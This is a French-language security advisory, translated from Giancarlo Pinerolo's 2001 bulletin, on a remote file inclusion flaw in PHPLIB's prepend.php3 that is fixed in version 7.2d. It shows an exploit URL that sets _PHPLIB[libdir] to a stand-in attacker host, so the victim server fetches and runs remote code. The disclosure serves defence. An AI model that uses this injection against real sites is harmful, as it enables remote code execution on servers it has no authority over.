sAvAte inc.
                            Serial Savate System

<[( advisory )]>---------------------------------------<[(  xxxxxxxxxxxx.adv
.en

Program: PHPLIB
Homepage: http://www.sf.net/projects/phplib/
Author Contacted: 22/jun/2001
Answer: ??/??/??
Patch : 23/jul/2001
Version tested: up to 7.2C
Found by : Giancarlo Pinerolo giancarlo@navigare.net

Trou de sécurité
dans PHPLIB !!!


Actualité :
-----------
L'equipe de phplib annonce la sortie de la version phplib-7.2d, dispo
en telechargement. Cette version contient les fix pour le trou de
sécurité devouvert récemment dans le fichier prepend.php3 et qui
permet a un attaquant distant d'injecter du code non local sur
n'importe quel script basé sur phplib et utilisant la configuration
par défaut.

Notez que cela affecte toutes les applications utilisant phplib,
certaines applications etant livrées avec phplib plutot que de
fournir une référence sont plus a meme de contenir cette vulnerabilité.
Vérifiez vos versions d'installation de phplib pour voir si tel est
votre cas .

Ce trou de sécurité a été mentionné dans une annonce de l'equide
de HORDE IMP et peut etre lue a cette adresse  :
http://marc.theaimsgroup.com/?l=imp&m=99575417320757&w=2

La version de phplib-7.2d est telechargeable ici :
http://sourceforge.net/project/showfiles.php?group_id=31885&release_id=44737

Notez la nouvelle adresse, PHPLIB a enfin ouvert un projet sourceforge,
le site phplib.netuse.de va progressivement supprimer tous les
telechargements et les faire pointer sur sourceforge, gardez
un oeil sur http://sourceforge.net/projects/phplib/

Ce qui suit est la traduction du bulletin original du trou de sécurité
découvert par Giancarlo Pinerolo <giancarlo@navigare.net>

I. Systemes affectés

     * PHPLIB : tous les systemes avec l'installation par défaut
       de PHPLIB et une installation de PHP avec les parametres
       par defaut, version Module d'Apache ou CGI, version windows
       apache ou IIS. PHP3 et PHP4 sont tous les deux vulnerables.
       L'utilisation de _PHPLIB[libdir] est apparue en premier sur
       les versions de PHPLIB distribuees en Decembre 198.

II. Tour d'horizon

En PHP, les variables n'ont pas besoin d'etre déclarées, elles sont
créées au moment ou une valeur leur est assignée.

Quand PHP est configuré avec l'option "register_globals" (par défaut),
les variables passées dans l'url sont disponibles dans la globalité
du script et de la mémoire.
Cela veut dire que si un formulaire ou une url contient une déclaration
de variable appellée "mavariable", cette variable sera disponible au
script en tant que $mavariable.

Recuperer des variables depuis une entrée utilisateur, c'est toute
l'histoire de la programmation web, mais dans ce cas un attaquant
peut exploiter le fait qu'une variable qui n'est pas prévue pour etre
acceptée comme une entrée utilisateur puisse etre quand meme acceptee
et faire son chemin dans le script parce qu'elle n'a pas été initialisée
au préalable dans ce meme script.

PHP a aussi la possibilité de faire passer des tableaux associatifs dans
les url via la methode GET ou POST. Un exemple serait une url comme
suit :

   http://www.monhost.com/monscript.php?MONTABLEAU[element1]

ou un formulaire dont les champs d'entree sont comme suit :

   <INPUT type="text" name="MONTABLEAU[element1]">

PHP a aussi la possibilité d'inclure en toute transparence a
l'interieur d'un script des morceaux de code provenant de fichiers
ou meme d'urls via les fonctions "include()" ou "require()".
PHP discerne automatiquement si le fichier a inclure est local
ou distant quand les parametres de fsockopen() sont actifs (par
défaut php_enable_fsockopen est actif).

 include("monfichier.php")  # inclusion depuis un systeme de fichier local
 include("http://www.ici.truc.labas/monfichier.php")  # inclusion depuis
                                             # l'internet

Pour plus d'infos a ce sujet il est recommandé de lire la doc en
anglais (bientot traduite)  "A Story in Scarlet" Exploiting Common
Vulnerabilities in PHP Applications" a l'adresse suivante :
http://www.securereality.com.au/studyinscarlet.txt


III. Description

En fournissant une valeur depuis l'element tableau  $_PHPLIB[libdir],
il est possible de forcer un script a charger et executer d'autres
scripts depuis un autre serveur.
Cela est rendu possible car la valeur de $_PHPLIB[libdir] se fait
initialiser *seulement* si elle n'est pas deja déclarée.

Cela est particulierement grave car dans l'installation par defaut de
PHPLIB le chargement des librairies est  effectué au début avant meme
le chargement et l'execution des autres scirpts.

Les premieres instructions dans le fichier 'prepend.php3', qui est le
premier fichier a se faire normalement inclure dans toute application
qui utilise phplib, sont :

  require($_PHPLIB["libdir"] . "db_mysql.inc");

ou sont d'autres noms de fichier comme : 'db_pgsql.inc' pour une base
postgres, cela depend de la config locale.

dans le cas ou $_PHPLIB[libdir] serait déclaré comme une chaine
contenant "http://attaqueur.com/", l'instruction sera executee comme :

  require("http://attacker.com/" . "db_mysql.inc");

Donc il suffit simplement d'ouvrir le browser avec une url comme :

http://victime.com/une/page/phplib/page.php?_PHPLIB[libdir]=http://attaqueur
.com/

Cela forcera le script "page.php", sachant que celui ci est basé
sur le toolkit de PHPLIB, a inclure et executer du code arbitraire
contenu dans le fichier "db_mysql.inc" chargé via l'internet par
le serveur victime depuis le serveur de l'attaqueur (ici depuis
l'adresse http://attaqueur.com/db_mysql.inc).

En considérant la richesse des fonctions fichier et reseau de php,
il est clair que ce type de vulnérabilité est *tres* mechant.

Texte original de Giancarlo Pinerolo Rome July 14,2001
Traduit par tobozo@users.sourceforge.net